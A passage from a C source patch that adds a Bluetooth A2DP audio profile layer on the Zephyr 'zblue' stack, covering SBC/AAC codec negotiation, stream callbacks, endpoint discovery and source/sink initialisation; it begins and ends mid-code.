(local_ep->codec_type != found_peer_endpoint->codec_type) + continue; + + if (local_ep->sep.sep_info.inuse != 0) + continue; + + if (found_peer_endpoint->sep.sep_info.inuse != 0) + continue; + + if (local_ep->sep.sep_info.media_type != found_peer_endpoint->sep.sep_info.media_type) + continue; + + if (local_ep->sep.sep_info.tsep == found_peer_endpoint->sep.sep_info.tsep) + continue; + + if (local_ep->codec_cap->len != found_peer_endpoint->codec_cap->len) + continue; + + if (local_ep->codec_type == BT_A2DP_SBC) { + status = check_local_remote_codec_sbc(local_ep->codec_cap->codec_ie, + found_peer_endpoint->codec_cap->codec_ie, preferred->codec_config->codec_ie, a2dp_info); + if (status == BT_STATUS_SUCCESS) + goto success; + } else if (local_ep->codec_type == BT_A2DP_MPEG2) { + status = check_local_remote_codec_aac(local_ep->codec_cap->codec_ie, + found_peer_endpoint->codec_cap->codec_ie, preferred->codec_config->codec_ie, a2dp_info); + if (status == BT_STATUS_SUCCESS) + goto success; + } + } + + return; + +success: + a2dp_info->config->codec_config->len = found_peer_endpoint->codec_cap->len; + a2dp_info->selected_peer_endpoint = (struct bt_a2dp_ep*)malloc(sizeof(struct bt_a2dp_ep)); + a2dp_info->selected_peer_endpoint->codec_cap = (struct bt_a2dp_codec_ie*)malloc(sizeof(struct bt_a2dp_codec_ie)); + a2dp_info->selected_peer_endpoint->codec_type = found_peer_endpoint->codec_type; + memcpy(a2dp_info->selected_peer_endpoint->codec_cap, found_peer_endpoint->codec_cap, sizeof(struct bt_a2dp_codec_ie)); + memcpy(&a2dp_info->selected_peer_endpoint->sep, &found_peer_endpoint->sep, sizeof(struct bt_avdtp_sep)); + a2dp_info->selected_peer_endpoint->stream = found_peer_endpoint->stream; + bt_list_free(a2dp_info->peer_endpoint); + a2dp_info->peer_endpoint = NULL; + return; +} + +static void zblue_on_stream_configured(struct bt_a2dp_stream* stream) +{ + a2dp_event_t* event; + a2dp_codec_config_t codec_config; /* framework codec */ + struct bt_a2dp_codec_ie* codec_cfg; /* zblue codec */ + struct zblue_a2dp_info_t* a2dp_info; + + a2dp_info = (struct zblue_a2dp_info_t*)bt_list_find(bt_a2dp_conn, bt_a2dp_info_find_a2dp, stream->a2dp); + if (!a2dp_info) { + BT_LOGE("%s, a2dp info not found", __func__); + return; + } + + a2dp_info->role = stream->local_ep->sep.sep_info.tsep; + codec_config.codec_type = zephyr_codec_2_sal_codec(stream->local_ep->codec_type); + codec_cfg = &stream->codec_config; + + if (a2dp_info->config) { + if (a2dp_info->config->codec_config) + free(a2dp_info->config->codec_config); + free(a2dp_info->config); + a2dp_info->config = NULL; + } + + switch (stream->local_ep->codec_type) { + case BT_A2DP_SBC: + codec_config.sample_rate = bt_a2dp_sbc_get_sampling_frequency( + (struct bt_a2dp_codec_sbc_params*)&codec_cfg->codec_ie[0]); + codec_config.bits_per_sample = BTS_A2DP_CODEC_BITS_PER_SAMPLE_16; + codec_config.channel_mode = zephyr_sbc_channel_mode_2_sal_channel_mode( + (struct bt_a2dp_codec_sbc_params*)&codec_cfg->codec_ie[0]); + codec_config.packet_size = 1024; + memcpy(codec_config.specific_info, codec_cfg->codec_ie, sizeof(codec_cfg->codec_ie)); + break; + case BT_A2DP_MPEG2: + break; + default: + BT_LOGE("%s, codec not supported: 0x%x", __func__, stream->local_ep->codec_type); + return; + } + + event = a2dp_event_new(CODEC_CONFIG_EVT, &a2dp_info->bd_addr); + event->event_data.data = malloc(sizeof(codec_config)); + memcpy(event->event_data.data, &codec_config, sizeof(codec_config)); + + if (a2dp_info->role == SEP_SRC) { +#ifdef CONFIG_BLUETOOTH_A2DP_SOURCE + bt_sal_a2dp_source_event_callback(event); +#endif /* CONFIG_BLUETOOTH_A2DP_SOURCE */ + } else { /* SEP_SNK */ +#ifdef CONFIG_BLUETOOTH_A2DP_SINK + bt_sal_a2dp_sink_event_callback(event); +#endif /* CONFIG_BLUETOOTH_A2DP_SINK */ + } + + if ((a2dp_info->role == SEP_SRC) || (a2dp_info->role == SEP_SNK && a2dp_info->int_acp == A2DP_INT)) { + if (bt_a2dp_stream_establish(stream)) + BT_LOGE("%s, bt_a2dp_stream_establish failed", __func__); + } +} + +static void zblue_on_stream_established(struct bt_a2dp_stream* stream) +{ + struct zblue_a2dp_info_t* a2dp_info; + + a2dp_info = (struct zblue_a2dp_info_t*)bt_list_find(bt_a2dp_conn, bt_a2dp_info_find_a2dp, stream->a2dp); + if (!a2dp_info) { + BT_LOGE("%s, a2dp info not found", __func__); + return; + } + + flag_set(a2dp_info, A2DP_STATE_BIT_MEDIA_CONN); + + if (a2dp_info->role == SEP_SRC) { +#ifdef CONFIG_BLUETOOTH_A2DP_SOURCE + bt_sal_a2dp_source_event_callback(a2dp_event_new(CONNECTED_EVT, &a2dp_info->bd_addr)); +#endif /* CONFIG_BLUETOOTH_A2DP_SOURCE */ + } else { /* SEP_SNK */ +#ifdef CONFIG_BLUETOOTH_A2DP_SINK + bt_sal_a2dp_sink_event_callback(a2dp_event_new(CONNECTED_EVT, &a2dp_info->bd_addr)); +#endif /* CONFIG_BLUETOOTH_A2DP_SINK */ + } + + bt_sal_a2dp_notify_connected(a2dp_info); +} + +static void bt_sal_a2dp_notify_connected(struct zblue_a2dp_info_t* a2dp_info) +{ + if (a2dp_info->role == SEP_SRC) { +#ifdef CONFIG_BLUETOOTH_A2DP_SOURCE + bt_sal_cm_profile_connected_callback(&a2dp_info->bd_addr, PROFILE_A2DP, CONN_ID_DEFAULT); + bt_sal_profile_disconnect_register(&a2dp_info->bd_addr, PROFILE_A2DP, CONN_ID_DEFAULT, PRIMARY_ADAPTER, a2dp_source_disconnect, NULL); +#endif + } else { /* SEP_SNK */ +#ifdef CONFIG_BLUETOOTH_A2DP_SINK + bt_sal_cm_profile_connected_callback(&a2dp_info->bd_addr, PROFILE_A2DP_SINK, CONN_ID_DEFAULT); + bt_sal_profile_disconnect_register(&a2dp_info->bd_addr, PROFILE_A2DP_SINK, CONN_ID_DEFAULT, PRIMARY_ADAPTER, a2dp_sink_disconnect, NULL); +#endif + } +} + +static void bt_sal_a2dp_notify_disconnected(struct zblue_a2dp_info_t* a2dp_info) +{ + if (a2dp_info->role == SEP_SRC) { +#ifdef CONFIG_BLUETOOTH_A2DP_SOURCE + bt_sal_cm_profile_disconnected_callback(&a2dp_info->bd_addr, PROFILE_A2DP, CONN_ID_DEFAULT); +#endif /* CONFIG_BLUETOOTH_A2DP_SOURCE */ + } else { /* SEP_SNK */ +#ifdef CONFIG_BLUETOOTH_A2DP_SINK + bt_sal_cm_profile_disconnected_callback(&a2dp_info->bd_addr, PROFILE_A2DP_SINK, CONN_ID_DEFAULT); +#endif /* CONFIG_BLUETOOTH_A2DP_SINK */ + } +} + +static void zblue_on_stream_released(struct bt_a2dp_stream* stream) +{ + BT_LOGI("%s, stream released", __func__); + struct zblue_a2dp_info_t* a2dp_info; + + if (bt_a2dp_conn == NULL) { + BT_LOGE("%s, bt_a2dp_conn is null", __func__); + return; + } + + a2dp_info = (struct zblue_a2dp_info_t*)bt_list_find(bt_a2dp_conn, bt_a2dp_info_find_a2dp, stream->a2dp); + if (!a2dp_info) { + BT_LOGE("%s, a2dp info not found", __func__); + return; + } + + flag_clear(a2dp_info, A2DP_STATE_BIT_MEDIA_CONN); + + if (a2dp_info->role == SEP_SRC) { +#ifdef CONFIG_BLUETOOTH_A2DP_SOURCE + bt_sal_a2dp_source_event_callback(a2dp_event_new(DISCONNECTED_EVT, &a2dp_info->bd_addr)); +#endif /* CONFIG_BLUETOOTH_A2DP_SOURCE */ + } else { /* SEP_SNK */ +#ifdef CONFIG_BLUETOOTH_A2DP_SINK + bt_sal_a2dp_sink_event_callback(a2dp_event_new(DISCONNECTED_EVT, &a2dp_info->bd_addr)); +#endif /* CONFIG_BLUETOOTH_A2DP_SINK */ + } + + free(a2dp_info->stream); + a2dp_info->stream = NULL; + + if (a2dp_info->disconnecting == true && flag_isset(a2dp_info, A2DP_STATE_BIT_SIG_CONN)) { + bt_a2dp_disconnect(a2dp_info->a2dp); + return; + } + + if (flag_is_conn_none(a2dp_info)) { + BT_LOGI("%s, Both channel disconnected", __func__); + bt_sal_a2dp_notify_disconnected(a2dp_info); + bt_list_remove_a2dp_info(a2dp_info); + } +} + +static void zblue_on_stream_started(struct bt_a2dp_stream* stream) +{ + struct zblue_a2dp_info_t* a2dp_info; + + a2dp_info = (struct zblue_a2dp_info_t*)bt_list_find(bt_a2dp_conn, bt_a2dp_info_find_a2dp, stream->a2dp); + if (!a2dp_info) { + BT_LOGE("%s, a2dp info not found", __func__); + return; + } + + if (a2dp_info->role == SEP_SRC) { +#ifdef CONFIG_BLUETOOTH_A2DP_SOURCE + /* TODO: check if a2dp stream should be accepted */ + bt_sal_a2dp_source_event_callback(a2dp_event_new(STREAM_STARTED_EVT, &a2dp_info->bd_addr)); +#endif /* CONFIG_BLUETOOTH_A2DP_SOURCE */ + } else { /* SEP_SNK */ +#ifdef CONFIG_BLUETOOTH_A2DP_SINK + bt_sal_a2dp_sink_event_callback(a2dp_event_new(STREAM_STARTED_EVT, &a2dp_info->bd_addr)); +#endif /* CONFIG_BLUETOOTH_A2DP_SINK */ + } +} + +static void zblue_on_stream_suspended(struct bt_a2dp_stream* stream) +{ + struct zblue_a2dp_info_t* a2dp_info; + + a2dp_info = (struct zblue_a2dp_info_t*)bt_list_find(bt_a2dp_conn, bt_a2dp_info_find_a2dp, stream->a2dp); + if (!a2dp_info) { + BT_LOGE("%s, a2dp info not found", __func__); + return; + } + + if (a2dp_info->role == SEP_SRC) { +#ifdef CONFIG_BLUETOOTH_A2DP_SOURCE + bt_sal_a2dp_source_event_callback(a2dp_event_new(STREAM_SUSPENDED_EVT, &a2dp_info->bd_addr)); +#endif /* CONFIG_BLUETOOTH_A2DP_SOURCE */ + } else { /* SEP_SNK */ +#ifdef CONFIG_BLUETOOTH_A2DP_SINK + bt_sal_a2dp_sink_event_callback(a2dp_event_new(STREAM_SUSPENDED_EVT, &a2dp_info->bd_addr)); +#endif /* CONFIG_BLUETOOTH_A2DP_SINK */ + } +} + +#ifdef CONFIG_BLUETOOTH_A2DP_SINK +static void zblue_on_stream_recv(struct bt_a2dp_stream* stream, + struct net_buf* buf, uint16_t seq_num, uint32_t ts) +{ + a2dp_event_t* event; + a2dp_sink_packet_t* packet; + uint16_t seq; + uint32_t timestamp; + struct zblue_a2dp_info_t* a2dp_info; + + if (buf == NULL || buf->data == NULL) + return; + + a2dp_info = (struct zblue_a2dp_info_t*)bt_list_find(bt_a2dp_conn, bt_a2dp_info_find_a2dp, stream->a2dp); + if (!a2dp_info) { + BT_LOGE("%s, a2dp info not found", __func__); + return; + } + + if (!buf->len) { + BT_LOGE("%s, invalid length: %d", __func__, buf->len); + return; + } + + seq = seq_num; + timestamp = ts; + packet = a2dp_sink_new_packet(timestamp, seq, buf->data, buf->len); + + if (packet == NULL) { + BT_LOGE("%s, packet malloc failed", __func__); + return; + } + event = a2dp_event_new(DATA_IND_EVT, &a2dp_info->bd_addr); + event->event_data.packet = packet; + bt_sal_a2dp_sink_event_callback(event); +} +#endif /* CONFIG_BLUETOOTH_A2DP_SINK */ + +static struct bt_a2dp_stream_ops stream_ops = { + .configured = zblue_on_stream_configured, + .established = zblue_on_stream_established, + .released = zblue_on_stream_released, + .started = zblue_on_stream_started, + .suspended = zblue_on_stream_suspended, +#if defined(CONFIG_BLUETOOTH_A2DP_SINK) + .recv = zblue_on_stream_recv, +#endif +#if defined(CONFIG_BLUETOOTH_A2DP_SOURCE) + .sent = NULL, +#endif +}; + +static bt_status_t bt_a2dp_set_config(struct zblue_a2dp_info_t* a2dp_info, struct bt_a2dp_ep* local, + struct bt_a2dp_codec_cfg* preferred, size_t preferred_count) +{ + int local_index = 0; + + while (local_index < preferred_count) { + find_remote_codec(local, a2dp_info, &preferred[local_index]); + + if (!a2dp_info->selected_peer_endpoint) { + local_index++; + continue; + } + + bt_a2dp_stream_config(a2dp_info->a2dp, a2dp_info->stream, local, + a2dp_info->selected_peer_endpoint, a2dp_info->config); + + return BT_STATUS_SUCCESS; + } + + return BT_STATUS_FAIL; +} + +static uint8_t bt_a2dp_discover_endpoint_cb(struct bt_a2dp* a2dp, + struct bt_a2dp_ep_info* info, struct bt_a2dp_ep** ep) +{ + struct zblue_a2dp_info_t* a2dp_info; + + a2dp_info = (struct zblue_a2dp_info_t*)bt_list_find(bt_a2dp_conn, bt_a2dp_info_find_a2dp, a2dp); + if (!a2dp_info) { + BT_LOGW("a2dp not found"); + return BT_A2DP_DISCOVER_EP_STOP; + } + + if (info) { + if (ep == NULL) + return BT_A2DP_DISCOVER_EP_STOP; + + struct bt_a2dp_ep* found_peer_endpoint = (struct bt_a2dp_ep*)calloc(1, sizeof(struct bt_a2dp_ep)); + found_peer_endpoint->codec_cap = (struct bt_a2dp_codec_ie*)calloc(1, sizeof(struct bt_a2dp_codec_ie)); + + *ep = found_peer_endpoint; + bt_list_add_tail(a2dp_info->peer_endpoint, found_peer_endpoint); + return BT_A2DP_DISCOVER_EP_CONTINUE; + } + + a2dp_info->stream = (struct bt_a2dp_stream*)calloc(1, sizeof(struct bt_a2dp_stream)); + bt_a2dp_stream_cb_register(a2dp_info->stream, &stream_ops); + + if (a2dp_info->role == SEP_SRC) { +#ifdef CONFIG_BLUETOOTH_A2DP_SOURCE +#ifdef CONFIG_BLUETOOTH_A2DP_AAC_CODEC + bt_status_t status = bt_a2dp_set_config(a2dp_info, &a2dp_aac_src_endpoint_local, src_aac_cfg_preferred, ARRAY_SIZE(src_aac_cfg_preferred)); + if (status == BT_STATUS_SUCCESS) + return BT_A2DP_DISCOVER_EP_STOP; +#endif + bt_a2dp_set_config(a2dp_info, &a2dp_sbc_src_endpoint_local, src_sbc_cfg_preferred, ARRAY_SIZE(src_sbc_cfg_preferred)); +#endif + } else if (a2dp_info->role == SEP_SNK && a2dp_info->int_acp == A2DP_INT) { +#ifdef CONFIG_BLUETOOTH_A2DP_SINK +#ifdef CONFIG_BLUETOOTH_A2DP_AAC_CODEC + bt_status_t status = bt_a2dp_set_config(a2dp_info, &a2dp_aac_snk_endpoint_local, snk_aac_cfg_preferred, ARRAY_SIZE(snk_aac_cfg_preferred)); + if (status == BT_STATUS_SUCCESS) + return BT_A2DP_DISCOVER_EP_STOP; +#endif + bt_a2dp_set_config(a2dp_info, &a2dp_sbc_snk_endpoint_local, snk_sbc_cfg_preferred, ARRAY_SIZE(snk_sbc_cfg_preferred)); +#endif + } + + return BT_A2DP_DISCOVER_EP_STOP; +} + +// TODO: Check if there is another implementation that is more appropriate. +static struct bt_avdtp_sep_info peer_seps[10]; +struct bt_a2dp_discover_param bt_discover_param = { + .cb = bt_a2dp_discover_endpoint_cb, + .seps_info = &peer_seps[0], /* it saves endpoint info internally. */ + .avdtp_version = AVDTP_VERSION_1_3, /* at least AVDTP 1.3 to support Get All Capabilities */ + .sep_count = A2DP_PEER_ENDPOINT_MAX, +}; + +static void zblue_on_connected(struct bt_a2dp* a2dp, int err) +{ + struct zblue_a2dp_info_t* a2dp_info; + struct bt_conn* conn; + BT_LOGI("%s", __func__); + + a2dp_info = bt_list_find(bt_a2dp_conn, bt_a2dp_info_find_a2dp, a2dp); + + if (a2dp_info) { + BT_LOGW("a2dp_info already exists"); + flag_set(a2dp_info, A2DP_STATE_BIT_SIG_CONN); + if (a2dp_info->int_acp == A2DP_INT) { + a2dp_info->peer_endpoint = bt_list_new(a2dp_peer_endpoint_destroy); + bt_a2dp_discover(a2dp, &bt_discover_param); + return; + } + } + + a2dp_info = (struct zblue_a2dp_info_t*)malloc(sizeof(struct zblue_a2dp_info_t)); + if (!a2dp_info) { + BT_LOGW("malloc fail"); + return; + } + + conn = bt_a2dp_get_conn(a2dp); + if (conn == NULL) { + BT_LOGE("conn is null"); + free(a2dp_info); + return; + } + + bt_conn_unref(conn); + + if (bt_sal_get_remote_address(conn, &a2dp_info->bd_addr) != BT_STATUS_SUCCESS) { + free(a2dp_info); + return; + } + + a2dp_info->a2dp = a2dp; + a2dp_info->conn = conn; + a2dp_info->stream = NULL; + a2dp_info->int_acp = A2DP_ACP; + a2dp_info->role = SEP_INVALID; + a2dp_info->is_cleanup = false; + flag_reset(a2dp_info); + flag_set(a2dp_info, A2DP_STATE_BIT_SIG_CONN); + a2dp_info->disconnecting = false; + a2dp_info->peer_endpoint = NULL; + a2dp_info->config = NULL; + a2dp_info->selected_peer_endpoint = NULL; + + bt_list_add_tail(bt_a2dp_conn, a2dp_info); +} + +static void bt_list_remove_a2dp_info(struct zblue_a2dp_info_t* a2dp_info) +{ + bool is_cleanup; + + if (bt_a2dp_conn == NULL) { + BT_LOGE("%s, bt_a2dp_conn is null", __func__); + return; + } + if (a2dp_info == NULL) { + BT_LOGE("%s, a2dp_info is null", __func__); + return; + } + + assert(a2dp_info->state == 0); + + is_cleanup = a2dp_info->is_cleanup; + bt_list_remove(bt_a2dp_conn, a2dp_info); + BT_LOGI("a2dp disconnected, remove a2dp_info"); + + if (is_cleanup && (bt_list_length(bt_a2dp_conn) == 0)) { + bt_list_free(bt_a2dp_conn); + bt_a2dp_conn = NULL; + BT_LOGI("free bt_a2dp_conn"); + } +} + +static void zblue_on_disconnected(struct bt_a2dp* a2dp) +{ + struct zblue_a2dp_info_t* a2dp_info; + BT_LOGI("%s", __func__); + + if (bt_a2dp_conn == NULL) { + BT_LOGE("%s, bt_a2dp_conn is null", __func__); + return; + } + + a2dp_info = (struct zblue_a2dp_info_t*)bt_list_find(bt_a2dp_conn, bt_a2dp_info_find_a2dp, a2dp); + if (!a2dp_info) { + BT_LOGW("a2dp_info not found"); + return; + } + + flag_clear(a2dp_info, A2DP_STATE_BIT_SIG_CONN); + + if (a2dp_info->role == SEP_SRC) { +#ifdef CONFIG_BLUETOOTH_A2DP_SOURCE + bt_sal_a2dp_source_event_callback(a2dp_event_new(DISCONNECTED_EVT, &a2dp_info->bd_addr)); +#endif /* CONFIG_BLUETOOTH_A2DP_SOURCE */ + } else { /* SEP_SNK */ +#ifdef CONFIG_BLUETOOTH_A2DP_SINK + bt_sal_a2dp_sink_event_callback(a2dp_event_new(DISCONNECTED_EVT, &a2dp_info->bd_addr)); +#endif /* CONFIG_BLUETOOTH_A2DP_SINK */ + } + + if (flag_is_conn_none(a2dp_info)) { + bt_sal_a2dp_notify_disconnected(a2dp_info); + bt_list_remove_a2dp_info(a2dp_info); + } +} + +static uint8_t bt_avdtp_codec_sanity_check(uint8_t local, uint8_t config, uint8_t offset, uint8_t len, uint8_t err) +{ + uint8_t codec; + + codec = (config >> offset) & ((1 << len) - 1); /* The collection of codec parameters to be checked */ + if (!codec) + return err; + + if ((codec - 1) & codec) { /* The codec parameter to be checked has only one option available. */ + BT_LOGE("%s, Configuration has multiple options.", __func__); + return err; + } + + if (((config & local) >> offset) & ((1 << len) - 1)) { + err = BT_AVDTP_SUCCESS; + } else { + /* Not_Supported error */ + err++; + } + + return err; +} + +static void bt_avdtp_codec_check_sbc(struct bt_a2dp_codec_ie* local, struct bt_a2dp_codec_ie* codec_cfg, uint8_t* rsp_err_code) +{ + if (local->len != codec_cfg->len) { + *rsp_err_code = BT_AVDTP_BAD_LENGTH; + return; + } + + /* Sampling Frequency */ + *rsp_err_code = bt_avdtp_codec_sanity_check(local->codec_ie[0], codec_cfg->codec_ie[0], 4, 4, BT_A2DP_INVALID_SAMPLING_FREQUENCY); + if (*rsp_err_code != BT_AVDTP_SUCCESS) + return; + + /* Channel Mode */ + *rsp_err_code = bt_avdtp_codec_sanity_check(local->codec_ie[0], codec_cfg->codec_ie[0], 0, 4, BT_A2DP_INVALID_CHANNEL_MODE); + if (*rsp_err_code != BT_AVDTP_SUCCESS) + return; + + /* Block Length */ + *rsp_err_code = bt_avdtp_codec_sanity_check(local->codec_ie[1], codec_cfg->codec_ie[1], 4, 4, BT_A2DP_INVALID_BLOCK_LENGTH); + if (*rsp_err_code != BT_AVDTP_SUCCESS) + return; + + /* Subbands */ + *rsp_err_code = bt_avdtp_codec_sanity_check(local->codec_ie[1], codec_cfg->codec_ie[1], 2, 2, BT_A2DP_INVALID_SUBBANDS); + if (*rsp_err_code != BT_AVDTP_SUCCESS) + return; + + /* Allocation Method */ + *rsp_err_code = bt_avdtp_codec_sanity_check(local->codec_ie[1], codec_cfg->codec_ie[1], 0, 2, BT_A2DP_INVALID_ALLOCATION_METHOD); + if (*rsp_err_code != BT_AVDTP_SUCCESS) + return; + + /* Bitpool */ + if (codec_cfg->codec_ie[2] > codec_cfg->codec_ie[3]) { + *rsp_err_code = BT_A2DP_INVALID_MINIMUM_BITPOOL_VALUE; + return; + } + if ((codec_cfg->codec_ie[2] < 2) || (codec_cfg->codec_ie[2] > 250)) { + *rsp_err_code = BT_A2DP_INVALID_MINIMUM_BITPOOL_VALUE; + return; + } + if ((codec_cfg->codec_ie[3] < 2) || (codec_cfg->codec_ie[3] > 250)) { + *rsp_err_code = BT_A2DP_INVALID_MAXIMUM_BITPOOL_VALUE; + return; + } + + if ((codec_cfg->codec_ie[2] < local->codec_ie[2]) || (codec_cfg->codec_ie[2] > local->codec_ie[3])) { + *rsp_err_code = BT_A2DP_NOT_SUPPORTED_MINIMUM_BITPOOL_VALUE; + return; + } + if (codec_cfg->codec_ie[3] > local->codec_ie[3]) { + *rsp_err_code = BT_A2DP_NOT_SUPPORTED_MAXIMUM_BITPOOL_VALUE; + return; + } +} + +static void bt_avdtp_set_config_check(struct bt_a2dp_ep* ep, struct bt_a2dp_codec_cfg* codec_cfg, uint8_t* rsp_err_code) +{ + switch (ep->codec_type) { + case BT_A2DP_SBC: + bt_avdtp_codec_check_sbc(ep->codec_cap, codec_cfg->codec_config, rsp_err_code); + break; + case BT_A2DP_MPEG1: + case BT_A2DP_MPEG2: + case BT_A2DP_ATRAC: + case BT_A2DP_VENDOR: + default: + *rsp_err_code = BT_A2DP_NOT_SUPPORTED_CODEC_TYPE; + break; + } +} + +static int zblue_on_config_req(struct bt_a2dp* a2dp, struct bt_a2dp_ep* ep, + struct bt_a2dp_codec_cfg* codec_cfg, struct bt_a2dp_stream** stream, + uint8_t* rsp_err_code) +{ + struct zblue_a2dp_info_t* a2dp_info; + + *rsp_err_code = BT_AVDTP_SUCCESS; + + if (ep == NULL || codec_cfg == NULL) { + *rsp_err_code = BT_AVDTP_BAD_STATE; + return -1; + } + + if (ep->sep.sep_info.inuse) { + BT_LOGE("%s, local SEP has already been used.", __func__); + *rsp_err_code = BT_AVDTP_SEP_IN_USE; + return -1; + } + + bt_avdtp_set_config_check(ep, codec_cfg, rsp_err_code); + + if (*rsp_err_code != BT_AVDTP_SUCCESS) { + BT_LOGE("%s, config fail: 0x%02x", __func__, *rsp_err_code); + return -1; + } + + a2dp_info = (struct zblue_a2dp_info_t*)bt_list_find(bt_a2dp_conn, bt_a2dp_info_find_a2dp, a2dp); + if (!a2dp_info) { + BT_LOGE("%s, a2dp_info not found", __func__); + *rsp_err_code = BT_AVDTP_BAD_STATE; + return -1; + } + + a2dp_info->stream = (struct bt_a2dp_stream*)calloc(1, sizeof(struct bt_a2dp_stream)); + *stream = a2dp_info->stream; /* The a2dp_stream saved in SAL is assigned a value in zblue. */ + bt_a2dp_stream_cb_register(a2dp_info->stream, &stream_ops); + *rsp_err_code = BT_AVDTP_SUCCESS; + return 0; +} + +static int zblue_on_reconfig_req(struct bt_a2dp_stream* stream, struct bt_a2dp_codec_cfg* codec_cfg, + uint8_t* rsp_err_code) +{ + *rsp_err_code = BT_AVDTP_SUCCESS; + return 0; +} + +static void zblue_on_config_rsp(struct bt_a2dp_stream* stream, uint8_t rsp_err_code) +{ + if (rsp_err_code != 0) + BT_LOGE("%s, config fail: %d", __func__, rsp_err_code); +} + +static int zblue_on_establish_req(struct bt_a2dp_stream* stream, uint8_t* rsp_err_code) +{ + *rsp_err_code = BT_AVDTP_SUCCESS; + return 0; +} + +static void zblue_on_establish_rsp(struct bt_a2dp_stream* stream, uint8_t rsp_err_code) +{ + if (rsp_err_code == 0) + return; + + struct zblue_a2dp_info_t* a2dp_info = (struct zblue_a2dp_info_t*)bt_list_find(bt_a2dp_conn, bt_a2dp_info_find_a2dp, stream->a2dp); + if (!a2dp_info) { + BT_LOGE("%s, a2dp_info not found", __func__); + return; + } + + if (a2dp_info->role == SEP_SRC) { +#ifdef CONFIG_BLUETOOTH_A2DP_SOURCE + bt_sal_a2dp_source_event_callback(a2dp_event_new(DISCONNECTED_EVT, &a2dp_info->bd_addr)); +#endif /* CONFIG_BLUETOOTH_A2DP_SOURCE */ + } else { /* SEP_SNK */ +#ifdef CONFIG_BLUETOOTH_A2DP_SINK + bt_sal_a2dp_sink_event_callback(a2dp_event_new(DISCONNECTED_EVT, &a2dp_info->bd_addr)); +#endif /* CONFIG_BLUETOOTH_A2DP_SINK */ + } + + bt_sal_a2dp_notify_disconnected(a2dp_info); +} + +static int zblue_on_release_req(struct bt_a2dp_stream* stream, uint8_t* rsp_err_code) +{ + *rsp_err_code = BT_AVDTP_SUCCESS; + return 0; +} + +static void zblue_on_release_rsp(struct bt_a2dp_stream* stream, uint8_t rsp_err_code) +{ + if (rsp_err_code == 0) + return; + + BT_LOGE("%s, close fail: %d", __func__, rsp_err_code); +} + +static int zblue_on_start_req(struct bt_a2dp_stream* stream, uint8_t* rsp_err_code) +{ + *rsp_err_code = BT_AVDTP_SUCCESS; + return 0; +} + +static void zblue_on_start_rsp(struct bt_a2dp_stream* stream, uint8_t rsp_err_code) +{ + if (rsp_err_code != 0) + BT_LOGE("%s, start fail: %d", __func__, rsp_err_code); +} + +static int zblue_on_suspend_req(struct bt_a2dp_stream* stream, uint8_t* rsp_err_code) +{ + *rsp_err_code = BT_AVDTP_SUCCESS; + return 0; +} + +static void zblue_on_suspend_rsp(struct bt_a2dp_stream* stream, uint8_t rsp_err_code) +{ + if (rsp_err_code != 0) + BT_LOGE("%s, suspend fail: %d", __func__, rsp_err_code); +} + +static struct bt_a2dp_cb a2dp_cbks = { + .connected = zblue_on_connected, + .disconnected = zblue_on_disconnected, + .config_req = zblue_on_config_req, + .reconfig_req = zblue_on_reconfig_req, + .config_rsp = zblue_on_config_rsp, + .establish_req = zblue_on_establish_req, + .establish_rsp = zblue_on_establish_rsp, + .release_req = zblue_on_release_req, + .release_rsp = zblue_on_release_rsp, + .start_req = zblue_on_start_req, + .start_rsp = zblue_on_start_rsp, + .suspend_req = zblue_on_suspend_req, + .suspend_rsp = zblue_on_suspend_rsp, + .reconfig_req = zblue_on_reconfig_req, +}; + +bt_status_t bt_sal_a2dp_source_init(uint8_t max_connections) +{ +#ifdef CONFIG_BLUETOOTH_A2DP_SOURCE + uint8_t media_type = BT_AVDTP_AUDIO; + uint8_t role = 0; /* BT_AVDTP_SOURCE */ + int ret; + + if (!bt_a2dp_conn) + bt_a2dp_conn = bt_list_new(a2dp_info_destroy); + + if (bt_list_length(bt_a2dp_conn)) { + bt_list_clear(bt_a2dp_conn); + } + + bt_sdp_register_service(&a2dp_source_rec); + + /* Mandatory support for SBC */ + ret = bt_a2dp_register_ep(&a2dp_sbc_src_endpoint_local, media_type, role); + if (ret != 0 && ret != -EALREADY) { + BT_LOGE("%s, register SEP failed:%d", __func__, ret); + return BT_STATUS_FAIL; + } + +#ifdef CONFIG_BLUETOOTH_A2DP_AAC_CODEC + /* Optional support for AAC */ + ret = bt_a2dp_register_ep(&a2dp_aac_src_endpoint_local, media_type, role); + if (ret != 0 && ret != -EALREADY) { + BT_LOGE("%s, register SEP failed:%d", __func__, ret); + return BT_STATUS_FAIL; + } +#endif /* CONFIG_BLUETOOTH_A2DP_AAC_CODEC */ + + SAL_CHECK_RET(bt_a2dp_register_cb(&a2dp_cbks), 0); + + return BT_STATUS_SUCCESS; +#else + return BT_STATUS_NOT_SUPPORTED; +#endif /* CONFIG_BLUETOOTH_A2DP_SOURCE */ +} + +bt_status_t bt_sal_a2dp_sink_init(uint8_t max_connections) +{ +#ifdef CONFIG_BLUETOOTH_A2DP_SINK + uint8_t media_type = BT_AVDTP_AUDIO; + uint8_t role = 1; /* BT_AVDTP_SINK */ + int ret; + + if (!bt_a2dp_conn) { + bt_a2dp_conn = bt_list_new(a2dp_info_destroy); + } + + if (bt_list_length(bt_a2dp_conn)) { + bt_list_clear(bt_a2dp_conn); + } + + bt_sdp_register_service(&a2dp_sink_rec); + /* Mandatory support for SBC */ + ret = bt_a2dp_register_ep(&a2dp_sbc_snk_endpoint_local, media_type, role); + if (ret != 0 && ret != -EALREADY) { + BT_LOGE("%s, register SEP failed:%d", __func__, ret); + return BT_STATUS_FAIL; + } + +#ifdef CONFIG_BLUETOOTH_A2DP_AAC_CODEC + /* Optional support for AAC */ + ret = bt_a2dp_register_ep(&a2dp_aac_snk_endpoint_local, media_type, role); + if (ret != 0 && ret != -EALREADY) { + BT_LOGE("%s, register SEP failed:%d", __func__, ret); + return BT_STATUS_FAIL; + } +#endif /* CONFIG_BLUETOOTH_A2DP_AAC_CODEC */ + + SAL_CHECK_RET(bt_a2dp_register_cb(&a2dp_cbks), 0); + + return BT_STATUS_SUCCESS; +#else + return BT_STATUS_NOT_SUPPORTED; +#endif /* CONFIG_BLUETOOTH_A2DP_SINK */ +} + +#ifdef CONFIG_BLUETOOTH_A2DP_SOURCE +static bt_status_t a2dp_source_profile_connect(bt_controller_id_t id, bt_address_t* addr, void* user_data) +{ + struct bt_conn* conn = bt_conn_lookup_addr_br((bt_addr_t*)addr); + struct zblue_a2dp_info_t* a2dp_info; + struct bt_a2dp* a2dp; + + if (!conn) { + BT_LOGE("%s, acl not connected", __func__); + return BT_STATUS_FAIL; + } + + a2dp_info = bt_list_find(bt_a2dp_conn, bt_a2dp_info_find_conn, conn); + if (a2dp_info) 